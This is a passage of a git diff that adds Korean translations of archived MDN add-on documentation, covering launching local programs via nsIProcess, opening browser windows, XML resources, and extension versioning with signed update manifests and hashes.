+<h3 id="nsILocalFile.launch.28.29_.EC.9D.B4.EC.9A.A9.ED.95.98.EA.B8.B0" name="nsILocalFile.launch.28.29_.EC.9D.B4.EC.9A.A9.ED.95.98.EA.B8.B0"> <code>nsILocalFile.launch()</code> 이용하기 </h3>
+<p>이 방법은 실행 파일을 더블 클릭하는 것과 동일한 효과가 나타나며 파라미터 없이 실행됩니다. 또 구현되지 않은 플랫폼도 있으므로 여러분이 대상으로 하는 플랫폼에서 이 메소드가 구현되어 있는지 확인해야 합니다.
+</p><p><code><a href="ko/NsIFile">nsIFile</a></code>/<code><a href="ko/NsILocalFile">nsILocalFile</a></code>에 대한 보다 자세한 정보는 <a href="ko/Code_snippets/File_I%2f%2fO">File I/O</a>를 참조하세요.
+</p><p>For more information on <code><a href="ko/NsIFile">nsIFile</a></code>/<code><a href="ko/NsILocalFile">nsILocalFile</a></code>, see <a href="ko/Code_snippets/File_I%2f%2fO">File I/O</a>.
+</p>
+<pre class="eval">var file = Components.classes["@mozilla.org/file/local;1"]
+                     .createInstance(Components.interfaces.nsILocalFile);
+file.initWithPath("c:\\myapp.exe");
+file.launch();
+</pre>
+<h3 id="nsIProcess_.EC.9D.B4.EC.9A.A9.ED.95.98.EA.B8.B0" name="nsIProcess_.EC.9D.B4.EC.9A.A9.ED.95.98.EA.B8.B0"> <code>nsIProcess</code> 이용하기 </h3>
+<p><a class="external" href="http://xulplanet.com/references/xpcomref/ifaces/nsIProcess.html">nsIProcess</a> 인터페이를 사용하는 것이 권장되는 방법 입니다.
+</p>
+<pre class="eval">// create an nsILocalFile for the executable
+var file = Components.classes["@mozilla.org/file/local;1"]
+                     .createInstance(Components.interfaces.nsILocalFile);
+file.initWithPath("c:\\myapp.exe");
+
+// create an nsIProcess
+var process = Components.classes["@mozilla.org/process/util;1"]
+                        .createInstance(Components.interfaces.nsIProcess);
+process.init(file);
+
+// Run the process.
+// If first param is true, calling thread will be blocked until
+// called process terminates.
+// Second and third params are used to pass command-line arguments
+// to the process.
+var args = ["argument1", "argument2"];
+process.run(false, args, args.length);
+</pre>
+<h3 id=".EC.B0.B8.EA.B3.A0" name=".EC.B0.B8.EA.B3.A0"> 참고 </h3>
+<ul><li><a href="ko/NsILocalFile"> nsILocalFile 인터페이스</a>
+</li><li><a class="external" href="http://xulplanet.com/references/xpcomref/ifaces/nsIProcess.html">nsIProcess 인터페이스</a>
+</li><li> XPI에 포함된 실행 파일을 실행해야 한다면 <a href="ko/Code_snippets/File_I%2f%2fO#Getting_your_extension.27s_folder">Code snippets:File I/O#Getting your extension's folder</a>를 참조하세요.
+</li><li><a class="external" href="http://groups.google.com/group/mozilla.dev.extensions/browse_frm/thread/947e63c95c14b5a5">웹 페이지에서 프로세스 실행하기</a>
+</li></ul>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Code_snippets/Running_applications", "fr": "fr/Extraits_de_code/Ex\u00e9cuter_des_applications", "ja": "ja/Code_snippets/Running_applications", "pl": "pl/Fragmenty_kodu/Uruchamianie_aplikacji" } ) }}
diff --git a/files/ko/archive/add-ons/code_snippets/windows/index.html b/files/ko/archive/add-ons/code_snippets/windows/index.html
new file mode 100644
index 0000000000..00e4febdb1
--- /dev/null
+++ b/files/ko/archive/add-ons/code_snippets/windows/index.html
@@ -0,0 +1,25 @@
+---
+title: Windows
+slug: Archive/Add-ons/Code_snippets/Windows
+tags:
+  - Add-ons
+  - Extensions
+translation_of: Archive/Add-ons/Code_snippets/Windows
+---
+<p> </p>
+<h3 id=".EC.83.88_.EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80_.EC.B0.BD_.EC.97.B4.EA.B8.B0" name=".EC.83.88_.EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80_.EC.B0.BD_.EC.97.B4.EA.B8.B0">새 브라우저 창 열기</h3>
+<p>브라우저 창을 새로 열려면 간단히 <code>window.open()</code>을 쓸 수 있습니다. 그러나 <code>window.open()</code>은 브라우저 창 자체가 아닌 내용의 <code>Window</code> 객체를 반환합니다. 그래서 먼저 크롬 <code>Window</code>를 구해야 합니다. 가장 간단한 방법은 <a href="ko/NsIWindowMediator">nsIWindowMediator</a>를 쓰는 것입니다.</p>
+<h4 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h4>
+<p> </p>
+<pre class="eval">window.open();
+var wm = Components.classes["@mozilla.org/appshell/window-mediator;1"]
+                   .getService(Components.interfaces.nsIWindowMediator);
+var newWindow = wm.getMostRecentWindow("navigator:browser");
+var b = newWindow.getBrowser();
+// why did we do this? we never do anything with |b|
+</pre>
+<h3 id=".EB.8B.A4.EB.A5.B8_.EB.AC.B8.EC.84.9C" name=".EB.8B.A4.EB.A5.B8_.EB.AC.B8.EC.84.9C">다른 문서</h3>
+<ul>
+ <li><a href="ko/Working_with_windows_in_chrome_code">크롬 코드에서 창 다루기</a></li>
+</ul>
+<p>{{ languages( { "en": "en/Code_snippets/Windows", "fr": "fr/Extraits_de_code/Onglets_de_navigation" } ) }}</p>
diff --git a/files/ko/archive/add-ons/code_snippets/xml/index.html b/files/ko/archive/add-ons/code_snippets/xml/index.html
new file mode 100644
index 0000000000..46749c928e
--- /dev/null
+++ b/files/ko/archive/add-ons/code_snippets/xml/index.html
@@ -0,0 +1,22 @@
+---
+title: XML
+slug: Archive/Add-ons/Code_snippets/XML
+tags:
+  - Add-ons
+  - Extensions
+translation_of: Archive/Add-ons/Code_snippets/XML
+---
+<ul>
+ <li><a href="ko/How_to_Create_a_DOM_tree">DOM 트리를 만드는 법</a></li>
+ <li><a href="ko/XMLHttpRequest">XMLHttpRequest 쓰기</a></li>
+ <li><a href="ko/Parsing_and_serializing_XML">XML 구문분석 및 직렬화</a></li>
+ <li><a href="ko/Using_XPath">XPath 쓰기</a></li>
+ <li><a href="ko/XSL_Transforms">XSL 변환</a></li>
+ <li><a href="ko/XLink">XLink</a></li>
+ <li><a href="ko/XPointer">XPointer</a></li>
+ <li><a href="ko/SVG">SVG</a></li>
+ <li><a href="ko/Namespaces">네임스페이스</a>, 또는 모든 XUL 문서의 맨위에 <code><a class="external" href="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" rel="freelink">http://www.mozilla.org/keymaster/gat...re.is.only.xul</a></code>이 있는 까닭</li>
+ <li><a href="ko/E4X">E4X</a></li>
+</ul>
+
+<p>{{ languages( { "en": "en/Code_snippets/XML", "fr": "fr/Extraits_de_code/XML" } ) }}</p>
diff --git a/files/ko/archive/add-ons/extension_versioning,_update_and_compatibility/index.html b/files/ko/archive/add-ons/extension_versioning,_update_and_compatibility/index.html
new file mode 100644
index 0000000000..f5f9d69790
--- /dev/null
+++ b/files/ko/archive/add-ons/extension_versioning,_update_and_compatibility/index.html
@@ -0,0 +1,193 @@
+---
+title: 'Extension Versioning, Update and Compatibility'
+slug: 'Archive/Add-ons/Extension_Versioning,_Update_and_Compatibility'
+tags:
+  - Add-ons
+  - Extensions
+translation_of: 'Archive/Add-ons/Extension_Versioning,_Update_and_Compatibility'
+---
+<p> </p>
+<h2 id=".EB.B6.80.EA.B0.80_.EA.B8.B0.EB.8A.A5_.EB.B2.84.EC.A0.80.EB.8B.9D.28Versioning.29" name=".EB.B6.80.EA.B0.80_.EA.B8.B0.EB.8A.A5_.EB.B2.84.EC.A0.80.EB.8B.9D.28Versioning.29">부가 기능 버저닝(Versioning)</h2>
+<p>부가 기능은 <a href="ko/Toolkit_version_format">Toolkit version format</a>을 이용해 자신의 버전을 명시해야 합니다. 이는 다음과 같이 점으로 분리된 버전 문자열이라고 말씀드릴 수 있습니다.</p>
+<ul>
+  <li>2.0</li>
+  <li>1.0b1</li>
+  <li>3.0pre1</li>
+  <li>5.0.1.2</li>
+</ul>
+<div class="note">
+  <b>참고:</b> Firefox 1.5 이전에는 좀 더 기본적인 Firefox Version Format을 사용했었습니다. 이 포맷은 major.minor.release.build[+] 의 형태로 구성되며 숫자만 사용할 수 있었습니다. Toolkit version format은 Firefox version format을 지원하면서도 더 많은 유연성을 제공합니다.</div>
+<h2 id=".EC.9D.91.EC.9A.A9_.ED.94.84.EB.A1.9C.EA.B7.B8.EB.9E.A8.EC.9D.98_.ED.98.B8.ED.99.98.EC.84.B1_.EA.B2.80.EC.82.AC_.EB.B0.A9.EB.B2.95" name=".EC.9D.91.EC.9A.A9_.ED.94.84.EB.A1.9C.EA.B7.B8.EB.9E.A8.EC.9D.98_.ED.98.B8.ED.99.98.EC.84.B1_.EA.B2.80.EC.82.AC_.EB.B0.A9.EB.B2.95">응용 프로그램의 호환성 검사 방법</h2>
+<p>부가기능을 설치하기 전에 응용 프로그램은 부가기능의 &lt;tt&gt;install.rdf&lt;/tt&gt;에 있는 <code><a href="ko/Install.rdf#targetApplication">targetApplication</a></code> 항목을 조사합니다. 해당 항목에는 대상 응용프로그램과 동일한 ID가 존재해야 합니다. 또한 이 항목의 <code>minVersion</code>과 <code>maxVersion</code>은 부가기능이 실행되는 응용프로그램의 버전이 포함되는 범위이어야 합니다.</p>
+<p>만일 응용프로그램이 <code>targetApplication</code> 요소를 가지고 있지만 호환되지 않는 버전일 경우 부가 기능의 <code><a href="ko/Install.rdf#updateURL">updateURL</a></code>에서 업데이트된 호환 정보를 조회해 제공합니다.</p>
+<p>만일 &lt;tt&gt;install.rdf&lt;/tt&gt;에 <code><a href="ko/Install.rdf#targetPlatform">targetPlatform</a></code> 항목들이 포함되어 있으며, 현재 응용프로그램이 실행되는 플랫폼이 해당 목록에 포함되어 있지 않을 경우 설치가 거부됩니다.</p>
+<p></p><div class="blockIndicator standardNote standardNoteBlock">
+    <p><a href="https://developer.mozilla.org/ko/docs/Mozilla/Firefox/Releases/3">Firefox 3 note</a></p>
+    <p style="font-weight: 400;">Gecko 1.9 기반의 응용프로그램일 경우 <code>targetApplication</code> 항목에 응용프로그램이 실행되는 툴킷 버전에 해당하는 <code>toolkit@mozilla.org</code>, <code>minVersion</code>, <code>maxVersion</code> 값을 사용할 수 있습니다. 이는 여러분의 부가 기능이 해당 툴킷 기반의 어떤 응용프로그램에서도 설치 가능하다는 것을 나타냅니다.</p>
+</div><p></p>
+<h3 id=".ED.98.B8.ED.99.98.EC.84.B1_.EA.B2.80.EC.82.AC_.EB.AC.B4.EC.8B.9C.ED.95.98.EA.B8.B0" name=".ED.98.B8.ED.99.98.EC.84.B1_.EA.B2.80.EC.82.AC_.EB.AC.B4.EC.8B.9C.ED.95.98.EA.B8.B0">호환성 검사 무시하기</h3>
+<p> 테스트를 목적으로 할 경우 응용프로그램에 부가기능을 설치할 때 호환성 검사를 무시하도록 할 수 있습니다. 연산자(boolean) 형으로 <code>extensions.checkCompatibility</code> 설정을 만들고 <code>false</code>로 지정하면 됩니다.</p>
+<div class="note">
+  <b>참고:</b> Firefox 1.5 이전 버전에서는 <code>app.extensions.version</code> 설정을 통해 응용프로그램의 버전을 오버라이드할 수도 있습니다. 이는 응용프로그램 자신이 호환되지 않는 확장 기능을 설치할 수 있다고 믿게끔 해 줍니다.</div>
+<h2 id="minVersion.EA.B3.BC_maxVersion_.EA.B2.B0.EC.A0.95.ED.95.98.EA.B8.B0" name="minVersion.EA.B3.BC_maxVersion_.EA.B2.B0.EC.A0.95.ED.95.98.EA.B8.B0">minVersion과 maxVersion 결정하기</h2>
+<p><code>minVersion</code>과 <code>maxVersion</code>은 여러분이 테스트한 응용프로그램의 버전 범위로 명시하는게 좋습니다. 특히 향후 API와 UI가 어떻게 변경될지 모르기 때문에 <code>maxVersion</code>을 현재 가능한 응용프로그램의 버전보다 높게 설정하지 않아야 합니다. <a href="#Compatibility_Updates">호환성 업데이트</a>를 이용하면 확장기능의 새로운 버전을 공개할 필요 없이 <code>maxVersion</code>만 증가시키면 됩니다.</p>
+<p><code>maxVersion</code>에서는 여러분이 지원하는 응용프로그램의 하위(minor) 버전 위치에 *를 사용할 수 있습니다. 예를 들어 2.0.0.*은 2 버전 응용프로그램에서의 하위 업데이트를 지원하는다는 것을 의미합니다. 응용 프로그램은 보통 확장 기능 작성자에게 버전의 어떤 부분을 이렇게 사용할 수 있는지 제안할 것입니다.</p>
+<p>실수로 *를 어떤 버전도 지원한다는 의미로 생각하지 마세요. 사실 *는 무한의 높은 숫자를 나타내며, 따라서 <code>maxVersion</code>에서 사용하였을때만 의미가 있습니다. 이를 <code>minVersion</code>에서 사용하면 여러분이 원하는 효과가 나지 않을 수 있습니다.</p>
+<h2 id=".EC.9E.90.EB.8F.99_.EB.B6.80.EA.B0.80.EA.B8.B0.EB.8A.A5_.EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8_.EA.B2.80.EC.82.AC" name=".EC.9E.90.EB.8F.99_.EB.B6.80.EA.B0.80.EA.B8.B0.EB.8A.A5_.EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8_.EA.B2.80.EC.82.AC">자동 부가기능 업데이트 검사</h2>
+<p>응용프로그램은 주기적으로 설치된 부가기능의 <code><a href="ko/Install.rdf#updateURL">updateURL</a></code>에서 정보를 가져와 업데이트 여부를 검사합니다. 반환된 정보는 사용자에게 부가기능의 업데이트된 버전이 있는지를 알려주고 응용프로그램에게는 해당 부가기능과 호환되는 응용프로그램의 버전을 알려줍니다.</p>
+<h3 id=".ED.98.B8.ED.99.98.EC.84.B1_.EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8" name=".ED.98.B8.ED.99.98.EC.84.B1_.EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8">호환성 업데이트</h3>
+<p>자동 업데이트 검사를 통해 응용프로그램은 현재 설치된 부가 기능 버전에 대한 새로운 버전과 갱신된 호환성 정보를 조사합니다. 만일 작성된 업데이트 선언에 현재 설치된 부가 기능에 대한 항목이 존재하고 해당 항목의 <code>targetApplication</code>에 더 큰 maxVersion이 명시되어 있을 경우, 응용 프로그램은 부가 기능의 &lt;tt&gt;install.rdf&lt;/tt&gt;에 명시된 값 대신 이 값을 사용하게 됩니다. 이는 호환성 문제로 사용 안함 상태로 되어 있는 부가 기능을 사용 가능한 상태로 만들 수도 있으며, 정상적으로 설치되지 않은 부가 기능을 정상적으로 설치된 상태로 만들 수도 있습니다.</p>
+<h3 id=".EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8_RDF_.ED.8F.AC.EB.A7.B7" name=".EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8_RDF_.ED.8F.AC.EB.A7.B7">업데이트 RDF 포맷</h3>
+<p>여러분이 부가기능의 <code>updateURL</code>을 직접 호스팅하는 경우, 부가기능의 버전 정보를 RDF 포맷으로 반환해야만 합니다. 아래는 업데이트 선언(update manifest) 예제입니다. 여기서는 id가 <code><a class="link-mailto" href="mailto:foobar@developer.mozilla.org" rel="freelink">foobar@developer.mozilla.org</a></code>인 서로 다른 2가지 버전의 확장기능에 대한 정보를 나열하고 있습니다. 포함된 버전은 2.2와 2.5 이고 둘 다 Firefox 1.5에서 2.0.0.* 버전에서 호환된다고 명시하고 있습니다. 버전 2.2의 경우 https 업데이트 링크를 사용하고 있으며, 버전 2.5는 일반적인 http 링크를 사용하며 전송된 파일의 유효성을 검사하기 위해 해시를 포함하고 있습니다.</p>
+<p>맨 처음에 있는 RDF:Description의 about 속성을 올바르게 설정하는 것이 중요합니다. 이 속성은 제공 정보가 어떤 종류의 부가기능에 대한 것인지에 따라 다음과 같이 달라집니다.</p>
+<ul>
+  <li>확장 기능일 경우 <code>urn:mozilla:extension:&lt;id&gt;</code> 이어야 합니다.</li>
+  <li>테마인 경우 <code>urn:mozilla:theme:&lt;id&gt;</code> 이어야 합니다.</li>
+  <li>이 외의 다른 유형인 경우 <code>urn:mozilla:item:&lt;id&gt;</code> 이어야 합니다.</li>
+</ul>
+<p>아래 예제의 경우 이후 버전이 이전 버전보다 나중에 명시되어야 한다는 점에서 &lt;RDF:Seq&gt; 요소 내에 있는 버전의 순서가 중요합니다. 만일 최종 버전이 제공된다면 이전 버전 모두가 명시될 필요는 없습니다(?).</p>
+<pre>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+
+&lt;RDF:RDF xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+         xmlns:em="http://www.mozilla.org/2004/em-rdf#"&gt;
+
+  &lt;!-- Description 리소스에는 id가 foobar@developer.mozilla.org인
+       단일 부가 기능에 대한 모든 업데이트와 호환성 정보를 포함합니다.
+       여러분은 하나의 RDF 파일에 여러개의 부가기능에 대한 정보를 나열할 수 있습니다. --&gt;
+  &lt;RDF:Description about="urn:mozilla:extension:foobar@developer.mozilla.org"&gt;
+    &lt;em:updates&gt;
+      &lt;RDF:Seq&gt;
+
+        &lt;!-- 각각의 li는 동일한 부가기능에 대한 서로 다른 버전을 나타냅니다. --&gt;
+        &lt;RDF:li&gt;
+          &lt;RDF:Description&gt;
+            &lt;em:version&gt;2.2&lt;/em:version&gt; &lt;!-- 이것은 부가기능의 버전 번호입니다. --&gt;
+
+            &lt;!-- 이 부가 기능과 호환되는 각각의 응용 프로그램에 대해 targetApplication이 하나씩 존재합니다. --&gt;
+            &lt;em:targetApplication&gt;
+              &lt;RDF:Description&gt;
+                &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt;
+                &lt;em:minVersion&gt;1.5&lt;/em:minVersion&gt;
+                &lt;em:maxVersion&gt;2.0.0.*&lt;/em:maxVersion&gt;
+
+                &lt;!-- 이 부가 기능을 다운로드 받을 위치를 나타냅니다. --&gt;
+                &lt;em:updateLink&gt;https://www.mysite.com/foobar2.2.xpi&lt;/em:updateLink&gt;
+
+                &lt;!-- 업데이트된 버전에서 제공되는 새로운 기능을 설명하는 페이지에 대한 URL입니다. --&gt;
+                &lt;em:updateInfoURL&gt;http://www.mysite.com/updateinfo2.2.xhtml&lt;/em:updateInfoURL&gt;
+              &lt;/RDF:Description&gt;
+            &lt;/em:targetApplication&gt;
+          &lt;/RDF:Description&gt;
+        &lt;/RDF:li&gt;
+
+        &lt;RDF:li&gt;
+          &lt;RDF:Description&gt;
+            &lt;em:version&gt;2.5&lt;/em:version&gt;
+            &lt;em:targetApplication&gt;
+              &lt;RDF:Description&gt;
+                &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt;
+                &lt;em:minVersion&gt;1.5&lt;/em:minVersion&gt;
+                &lt;em:maxVersion&gt;2.0.0.*&lt;/em:maxVersion&gt;
+                &lt;em:updateLink&gt;http://www.mysite.com/foobar2.5.xpi&lt;/em:updateLink&gt;
+                &lt;em:updateHash&gt;sha1:78fc1d2887eda35b4ad2e3a0b60120ca271ce6e6&lt;/em:updateHash&gt;
+              &lt;/RDF:Description&gt;
+            &lt;/em:targetApplication&gt;
+          &lt;/RDF:Description&gt;
+        &lt;/RDF:li&gt;
+
+      &lt;/RDF:Seq&gt;
+    &lt;/em:updates&gt;
+
+    &lt;!-- 서명은 부가기능의 install.rdf에 updateKey를 포함하고 있는 경우에만 필요합니다. --&gt;
+    &lt;em:signature&gt;MIGTMA0GCSqGSIb3DQEBBQUAA4GBAMO1O2gwSCCth1GwYMgscfaNakpN40PJfOWt
+                  ub2HVdg8+OXMciF8d/9eVWm8eH/IxuxyZlmRZTs3O5tv9eWAY5uBCtqDf1WgTsGk
+                  jrgZow1fITkZI7w0//C8eKdMLAtGueGfNs2IlTd5P/0KH/hf1rPc1wUqEqKCd4+L
+                  BcVq13ad&lt;/em:signature&gt;
+  &lt;/RDF:Description&gt;
+&lt;/RDF:RDF&gt;
+</pre>
+<p>어떤 사람들은 다음의 포맷을 더 좋아합니다(본 예제에서는 기본 구조를 중점적으로 보여주기 위해 몇 가지 정보가 생략되어 있습니다).</p>
+<pre>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+
+&lt;RDF:RDF xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+         xmlns:em="http://www.mozilla.org/2004/em-rdf#"&gt;
+
+  &lt;!-- Description 리소스에는 id가 foobar@developer.mozilla.org인
+       단일 부가 기능에 대한 모든 업데이트와 호환성 정보를 포함합니다.
+       여러분은 하나의 RDF 파일에 여러개의 부가기능에 대한 정보를 나열할 수 있습니다. --&gt;
+  &lt;RDF:Description about="urn:mozilla:extension:foobar@developer.mozilla.org"&gt;
+    &lt;em:updates&gt;
+      &lt;RDF:Seq&gt;
+        &lt;!-- resource 속성은 아래에 있는 RDF:Description의 동일한 about 속성을 가리킵니다.
+             실제 uri는 어떤 값이든 상관 없습니다. --&gt;
+        &lt;RDF:li resource="urn:mozilla:extension:foobar@developer.mozilla.org:2.2"/&gt;
+        &lt;RDF:li resource="urn:mozilla:extension:foobar@developer.mozilla.org:2.5"/&gt;
+      &lt;/RDF:Seq&gt;
+    &lt;/em:updates&gt;
+    &lt;em:signature&gt;MIGTMA0GCSqGSIb3DQEBBQUAA4GBAMO1O2gwSCCth1GwYMgscfaNakpN40PJfOWt
+                  ub2HVdg8+OXMciF8d/9eVWm8eH/IxuxyZlmRZTs3O5tv9eWAY5uBCtqDf1WgTsGk
+                  jrgZow1fITkZI7w0//C8eKdMLAtGueGfNs2IlTd5P/0KH/hf1rPc1wUqEqKCd4+L
+                  BcVq13ad&lt;/em:signature&gt;
+  &lt;/RDF:Description&gt;
+
+  &lt;!-- 다음은 앞선 예제에서 li 요소 내에 있는 Description과 동일합니다. --&gt;
+  &lt;RDF:Description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.2"&gt;
+    &lt;em:version&gt;2.2&lt;/em:version&gt;
+
+    &lt;!-- 나머지 내용은 생략하였습니다. --&gt;
+
+  &lt;/RDF:Description&gt;
+
+  &lt;RDF:Description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.5"&gt;
+    &lt;em:version&gt;2.5&lt;/em:version&gt;
+
+    &lt;!-- 나머지 내용은 생략하였습니다. --&gt;
+
+  &lt;/RDF:Description&gt;
+
+&lt;/RDF:RDF&gt;
+</pre>
+<h3 id=".EA.B0.B1.EC.8B.A0_.EC.82.AC.ED.95.AD.EC.97.90_.EB.8C.80.ED.95.9C_.EC.84.B8.EB.B6.80_.EC.A0.95.EB.B3.B4_.EC.A0.9C.EA.B3.B5.ED.95.98.EA.B8.B0" name=".EA.B0.B1.EC.8B.A0_.EC.82.AC.ED.95.AD.EC.97.90_.EB.8C.80.ED.95.9C_.EC.84.B8.EB.B6.80_.EC.A0.95.EB.B3.B4_.EC.A0.9C.EA.B3.B5.ED.95.98.EA.B8.B0">갱신 사항에 대한 세부 정보 제공하기</h3>
+<p></p>
+<p>부가 기능 사용자에게 갱신된 사항에 대한 세부 정보를 제공할 수 있습니다. 이는 사용자가 부가 기능의 업데이트 알림을 받은 경우에만 보여지는 것으로, 어떤 기능이 새롭게 추가되었고 보안과 관련된 어떤 문제들이 해결되었는지 등에 대한 빠른 개요를 제공해주는데 사용될 수 있습니다.</p>
+<p>이를 위해 먼저 업데이트 선언 파일에 <code>updateInfoURL</code> 항목을 추가해야 합니다(위 예제를 보세요). 이 URL에 해당하는 페이지가 사용자에게 출력됩니다. 이 페이지는 일반적인 웹 페이지 외부에 출력되므로 깨끗하게 만들어져야 합니다. 이는 몇 가지 사항만이 가능하고 스크립트나 이미지들은 사용할 수 없다는 것을 의미합니다. 일반 규칙으로 다음의 태그들만 사용하는게 좋으며, 다른 태그들은 무시됩니다.</p>
+<ul>
+  <li>제목으로 사용되는 h1, h2, h3</li>
+  <li>문단으로 사용되는 p</li>
+  <li>목록으로 사용되는 ul과 ol</li>
+</ul>
+<p>목록 내에서는 개별 항목을 나타내는 <code>li</code> 태그를 사용합니다.</p>
+<p>h1, h2, h3, p, li 태그 내에서는 다음을 사용할 수 있습니다.</p>
+<ul>
+  <li>두꺼운 글자를 위해 b 나 strong</li>
+  <li>이탤릭 글자를 위해 i 나 em</li>
+</ul>
+<p>해당 페이지는 완전히 유효한 XHTML이어야 하면 MIME type이 <code>application/xhtml+xml</code>어야 합니다.</p>
+<p>업데이트 선언 파일의 <code>updateInfoURL</code>에는 URL에 로케일 정보를 포함하고자 할 경우 <code>%APP_LOCALE%</code>을 포함할 수 있습니다. 이를 이용하면 사용자의 로케일에 따라 내용을 수정할 수 있습니다. 이 외에도 <code>updateURL</code>에서 지원하는 또 다른 치환 문자열을 사용할 수 있습니다만, 별로 필요하지는 않을 것입니다.</p>
+<h3 id=".EB.B3.B4.EC.95.88_.EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8" name=".EB.B3.B4.EC.95.88_.EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8">보안 업데이트</h3>
+<p> </p>
+<p>Gecko 1.9는 부가 기능 업데이트와 같은 경우에 사용자를 <a class="external" href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack">man-in-the-middle attacks</a>에서 보호하기 위해 설계된 부가적인 요구 사항을 추가했습니다. 이미 설치된 부가 기능의 install.rdf에서 <code>updateURL</code>을 다음 방법 중 한 가지로 지정해야 합니다.</p>
+<ul>
+  <li><code><a href="ko/Install.rdf#updateURL">updateURL</a></code>이 https를 사용하거나 <code>updateURL</code>이 전혀 없습니다 (which defaults to &lt;tt&gt;addons.mozilla.org&lt;/tt&gt; which is https).</li>
+  <li><code><a href="ko/Install.rdf#updateURL">updateURL</a></code>이 http를 사용하고 업데이트 선언에 있는 데이터를 확인하는데 사용할 <code><a href="ko/Install.rdf#updateKey">updateKey</a></code> 항목을 지정합니다.</li>
+</ul>
+<p>&lt;tt&gt;install.rdf&lt;/tt&gt;에서 <code>updateKey</code>를 지정할 때는 업데이트 선언에 <a href="#Signing_Update_Manifests">digital signature</a>를 포함해야 하며 그렇지 않으면 정보가 거부됩니다.</p>
+<p><code>updateURL</code>에서 전달된 업데이트 선언에서는 <code>updateLink</code>를 다음 방법 중 한 가지로 지정해야 합니다.</p>
+<ul>
+  <li>XPI 파일을 가리키는 <code>updateLink</code>는 꼭 https를 사용해야 합니다.</li>
+  <li><code>updateLink</code>가 http를 사용할 수 있으며, sha1, sha256, sha384, sha512 중 하나의 알고리즘을 이용하여 XPI 파일에 대한 <code><a href="#Update_Hashes">updateHash</a></code>를 포함해야 합니다.</li>
+</ul>
+<p>업데이트 선언에서 위의 두 가지 요구 사항 중 하나를 만족하지 못하는 모든 항목은 새로운 버전을 확인할 때 무시됩니다.</p>
+<p>잘못된 인증서를 가진 사이트로 가는 https 링크나 http 사이트로 리디렉트하는 것은 &lt;tt&gt;update.rdf&lt;/tt&gt;와 <code>updateLink</code>의 두 가지 경우에 모두 실패합니다.</p>
+<h4 id=".EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8_.ED.95.B4.EC.8B.9C" name=".EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8_.ED.95.B4.EC.8B.9C">업데이트 해시</h4>
+<p>다운로드한 XPI의 무결성을 확인하기 위하여 updateLink와 함께 <code>updateHash</code> 항목을 제공해야 합니다. 이 해시는 파일 데이터에 대하여 문자열 형식으로 생성해야 합니다. 문자열의 시작에 사용한 해시 알고리즘을 넣고 <code>:</code>으로 해시와 구별합니다.</p>
+<pre>  &lt;em:updateHash&gt;sha1:78fc1d2887eda35b4ad2e3a0b60120ca271ce6e6&lt;/em:updateHash&gt;
+</pre>
+<p>해시가 지정되면 다운로드한 파일을 해시와 비교하고 일치하지 않으면 오류를 표시합니다.</p>
+<h4 id=".EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8_.EC.84.A0.EC.96.B8_.EC.84.9C.EB.AA.85.ED.95.98.EA.B8.B0" name=".EC.97.85.EB.8D.B0.EC.9D.B4.ED.8A.B8_.EC.84.A0.EC.96.B8_.EC.84.9C.EB.AA.85.ED.95.98.EA.B8.B0">업데이트 선언 서명하기</h4>
+<p> </p>
+<p>업데이트 RDF를 일반 http로 제공하기를 원한다면, Gecko 1.9 기반의 애플리케이션에서는 업데이트 선언을 서명해야 합니다. 이는 해당 정보를 생성한 여러분과 그것을 추출하는 애플리케이션 사이에서 간섭이 없었다는 것을 확인하기 위한 것입니다. 업데이트 RDF를 서명하는 데에는 <a href="ko/McCoy">McCoy</a> 도구를 사용해야 합니다.</p>
+<p>서명 방식에 대한 기술적인 세부 사항은 이 문서의 범위를 벗어나지만 기본적인 사항은 다음과 같습니다.</p>
+<p>부가 기능 작성자가 공개/개인 RSA 암호 키 쌍을 생성합니다.</p>
+<p>공개키는 DER로 인코드된 후에 base 64로 인코드되어 부가 기능의 &lt;tt&gt;install.rdf&lt;/tt&gt;에 <code><a href="ko/Install.rdf#updateKey">updateKey</a></code> 항목으로 추가됩니다.</p>
+<p>작성자가 업데이트 RDF 파일을 생성할 때 도구를 사용하여 개인키로 서명합니다. 대략적으로 이야기하면, 업데이트 정보는 문자열로 변환되어 sha512 해시 알고리즘으로 해시되고 개인키로 이 해시를 서명합니다. 결과 데이터는 DER로 인코드하고 base 64로 인코드한 후 업데이트 RDF에 <code>em:signature</code> 항목으로 포함합니다.</p>
diff --git a/files/ko/archive/add-ons/index.html b/files/ko/archive/add-ons/index.html
new file mode 100644
index 0000000000..d1851bd7ee
--- /dev/null
+++ b/files/ko/archive/add-ons/index.html
@@ -0,0 +1,8 @@
+---
+title: Add-ons
+slug: Archive/Add-ons
+translation_of: Archive/Add-ons
+---
+<p>In progress. Archived add-ons documentation.</p>
+
+<p></p>
diff --git a/files/ko/archive/add-ons/listening_to_events_in_firefox_extensions/index.html b/files/ko/archive/add-ons/listening_to_events_in_firefox_extensions/index.html
new file mode 100644
index 0000000000..96b33ef569
--- /dev/null
+++ b/files/ko/archive/add-ons/listening_to_events_in_firefox_extensions/index.html
@@ -0,0 +1,114 @@
+---
+title: Listening to events
